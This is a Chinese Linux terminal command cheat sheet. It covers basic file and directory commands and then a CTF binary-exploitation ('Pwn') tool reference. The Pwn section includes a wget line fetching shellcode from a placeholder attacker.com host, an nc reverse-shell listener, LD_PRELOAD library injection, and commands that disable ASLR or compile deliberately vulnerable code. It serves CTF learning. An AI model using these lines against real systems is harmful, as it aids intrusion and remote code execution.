终端命令格式

command [-options] [parameter]

说明:

·command :命令名,相应功能的英文单词或单词的缩写
·[-options] :选项,可用来对命令进行控制,也可以省略
·parameter :传给命令的参数,可以是 零个、一个 或者 多个

目录操作命令 cd、pwd、ls、mkdir、rmdir、du

命令 / 选项组合 功能说明
基础命令
cd 切换到另一个目录
pwd 打印当前所在目录(print working directory )
ls 列出目录内容
ls 常用选项
ls -l 长格式输出文件,一个文件显示一行(简写 ll
ls -a 显示以 . 开头的隐藏文件(默认不显示隐藏文件 )
ls -d 显示目录本身,而非目录下的文件(默认目录会展开显示内容 )
ls -lh 长格式输出 + 字节数转 K/M/G (人性化阅读 )
ls -t 修改时间从晚到早排序文件(最近修改的先显示 )
ls -tr 修改时间从早到晚排序文件(最近修改的后显示 )
ls -R 递归列出当前目录及所有子目录的文件(遍历嵌套目录 )
个人常用 ls 用法 ll -ah (长格式 + 显示隐藏文件 + 人性化字节数 )
mkdir 创建目录;-p 选项可级联创建多层目录(如 mkdir -p a/b/c
rmdir 删除空目录;非空目录需用 rm -rf 目录名 强制删除(谨慎使用 rm -rf
du 命令及选项
du 统计目录 / 文件的磁盘占用字节数
du -s 只显示总字节数(不展开子文件 / 目录 )
du -h 字节数转 K/M/G (人性化阅读 )
个人常用 du 用法 du -sh (统计总占用 + 人性化字节数 )

文件操作命令 which、touch、cp、mv、rm、file

命令 功能说明 语法示例 关键参数 / 补充
which 查找命令在系统中的绝对路径 which cd which ls which date - 仅查系统 PATH 路径内的可执行命令
touch 创建空文件 / 更新文件修改时间 touch /root/aaa /root/bbb /root/ccc - 无文件则创建,有文件则改修改时间
cp 复制文件 / 目录 复制文件: cp /root/install.log /tmp cp /root/install.log /tmp/abc.log 复制目录: cp -R /root /tmp cp -R /root /tmp/abc -R:递归复制目录(必加) -i:覆盖前提示(默认隐藏,需手动开)
mv 移动文件 / 目录 / 重命名 移动: mv /root/install.log.bak /tmp 重命名: mv /tmp/root /tmp/root1 - 移动 + 重命名可一步完成(如 mv 旧路径 新路径
rm 删除文件 / 目录(危险操作 删除文件: rm /root/install.log.bak 删除目录: rm -rf /tmp/root1 -r:递归删目录内容 -f:强制删除(无提示) -i:删除前逐一确认(建议日常用)
file 查看文件的类型(格式 / 编码等) file 文件名 例:file /root/install.log - 可识别文本、二进制、压缩包等类型

查看登录用户命名 who、w

命令 功能说明
who 当前用户登录的信息
w 当前用户登录的信息,以什么程序登录的

文件内容查看命令 cat、tac、more、less、tail、head

命令 功能说明
cat 查看文本文件内容,将文本文件内容全部打印到标准输出 选项 -n 输出结果带行号
tac 查看文本文件内容,倒序输出 按照行号倒序打印文本文件的内容
more 分页显示文件内容,例如:more /root/install.log 默认显示进度百分比 空格往下翻页,b往上翻页,f往下翻页,q退出
less 分页显示文件内容,例如:less /root/install.log 选项 -m 显示进度百分比 可以用“/”后跟关键字搜索文件内容 空格往下翻页,b往上翻页,f往下翻页,q退出
tail 查看文件尾部10行,例如:tail /root/install.log 选项-N (N为正整数)可以指定显示末尾N行内容
head 查看文件头部10行,例如:head /root/install.log 选项-N (N为正整数)可以指定显示头部N行内容

系统管理类命令 shutdown、reboot、lscpu

命令 功能说明
shutdown 关机命令 shutdown -h now 立刻关机 shutdown -h +10 “10分钟后关机”,每个登录用户收到“10分钟后关机”的消息,并于10分钟后关机 shutdown -c 取消关机
reboot 重启系统
lscpu 查看系统cpu信息

查阅命令帮助信息

-help

说明:显示 command 命令的帮助信息

-man

说明:

·查阅 command 命令的使用手册(man 是 manual 的缩写,是 Linux 提供的一个 手册,包含了绝大部分的命令、函数的详细使用)
·说明:使用 man 时的操作键

操作键 功能
空格键 显示手册页的下一屏
Enter 键 一次滚动手册页的一行
b 回滚一屏
f 前滚一屏
q 退出
/word 搜索 word 字符串

自动补全:

在敲出 文件 / 目录 / 命令 的前几个字母之后,按下 tab 键

如果输入的没有歧义,系统会自动补全
如果还存在其他 文件 / 目录 / 命令 ,再按一下 tab 键,系统会提示可能存在的命令
小技巧

小技巧:

ctrl + shift + = 放大终端窗口的字体显示
ctrl + - 缩小终端窗口的字体显示

按 上 / 下 光标键可以在曾经使用过的命令之间来回切换
如果想要退出选择,并且不想执行当前选中的命令,可以按 ctrl + c

其他

文件分析命令(关键!)

命令 功能 参数示例 Pwn应用场景
file 查看文件类型 file ./vuln 识别ELF类型(32/64位)、动态/静态链接
checksec 检查安全机制 checksec --file=./vuln 查看NX, PIE, Canary, RELRO等防护状态
readelf ELF文件分析 readelf -a ./vuln 查看节头、符号表、重定位表、程序头
readelf -S 查看节头信息 readelf -S ./vuln 定位.text/.plt/.got等关键段地址
readelf -s 查看符号表 `readelf -s ./vuln grep system`
objdump 反汇编分析 objdump -d ./vuln 反汇编代码段
objdump -M 指定反汇编格式 objdump -M intel -d ./vuln Intel格式反汇编(更易读)
objdump -j 反汇编特定段 objdump -j .plt -d ./vuln 分析PLT表
strings 提取字符串 `strings ./vuln grep “/bin/sh”`
ldd 查看动态依赖 ldd ./vuln 获取libc路径和基址偏移

调试分析命令(核心工具)

命令 功能 参数示例 Pwn应用场景
gdb GNU调试器 gdb ./vuln 动态调试分析
gdb -p 附加进程 gdb -p <pid> 调试运行中的程序
gdb -ex 执行命令 gdb -ex "b main" -ex "r" ./vuln 自动化调试任务
strace 系统调用跟踪 strace ./vuln 监控系统调用(如execve)
ltrace 库函数跟踪 ltrace ./vuln 监控库函数调用(如malloc)
pwndbg 增强版GDB - 专为Pwn设计的GDB插件
info proc 查看进程信息 info proc mappings 查看内存映射布局

网络操作命令(漏洞利用必备)

命令 功能 参数示例 Pwn应用场景
nc 网络工具 nc -lvp 4444 监听端口(接收反弹shell)
nc 192.168.1.100 1337 连接远程漏洞服务
socat 高级网络工具 socat TCP-LISTEN:4444,reuseaddr,fork EXEC:./vuln 稳定连接(用于ROP链开发)
curl HTTP客户端 curl http://target:8080/exploit Web Pwn题利用
wget 文件下载 wget http://attacker.com/shellcode.bin 下载远程payload

进程管理命令

命令 功能 参数示例 Pwn应用场景
ps 查看进程 `ps aux grep vuln`
kill 终止进程 kill -9 <pid> 强制结束崩溃的程序
pkill 按名杀进程 pkill -f vuln 快速结束目标程序
top 实时进程监控 top 监控资源占用情况
nohup 后台运行 nohup ./vuln & 保持服务运行

环境配置命令

命令 功能 参数示例 Pwn应用场景
export 环境变量 export LD_PRELOAD=./libc.so.6 预加载库(库注入攻击)
export PYTHONPATH=/path/to/pwntools 设置Python路径
ulimit 资源限制 ulimit -c unlimited 启用core dump
setarch 设置架构 setarch uname -m -R ./vuln 禁用ASLR(地址随机化)
echo 0 > /proc/sys/kernel/randomize_va_space 全局禁用ASLR 需要root权限 调试环境配置

二进制处理命令

命令 功能 参数示例 Pwn应用场景
xxd 十六进制查看 `xxd ./vuln head`
hexedit 十六进制编辑 hexedit ./vuln 手动修改二进制文件
patchelf ELF修补 patchelf --set-interpreter /lib/ld-linux.so.2 ./vuln 修改动态链接器
patchelf --replace-needed libc.so.6 ./libc_target.so ./vuln 替换依赖库
objcopy 目标文件操作 objcopy --dump-section .text=text.bin ./vuln 提取代码段

开发辅助命令

命令 功能 参数示例 Pwn应用场景
python Python解释器 python3 exploit.py 运行漏洞利用脚本
pip Python包管理 pip install pwntools 安装Pwn工具库
gcc 编译器 gcc -fno-stack-protector -z execstack vuln.c -o vuln 编译含漏洞程序
make 构建工具 make 编译CTF题目
tmux 终端复用器 tmux new -s pwn 管理多个调试窗口

信息搜索命令

命令 功能 参数示例 Pwn应用场景
grep 文本搜索 `objdump -d ./vuln grep “call”`
find 文件查找 find / -name "libc.so.6" 2>/dev/null 查找libc库
which 命令定位 which gdb 查找工具路径
man 手册查看 man 2 execve 查看系统调用文档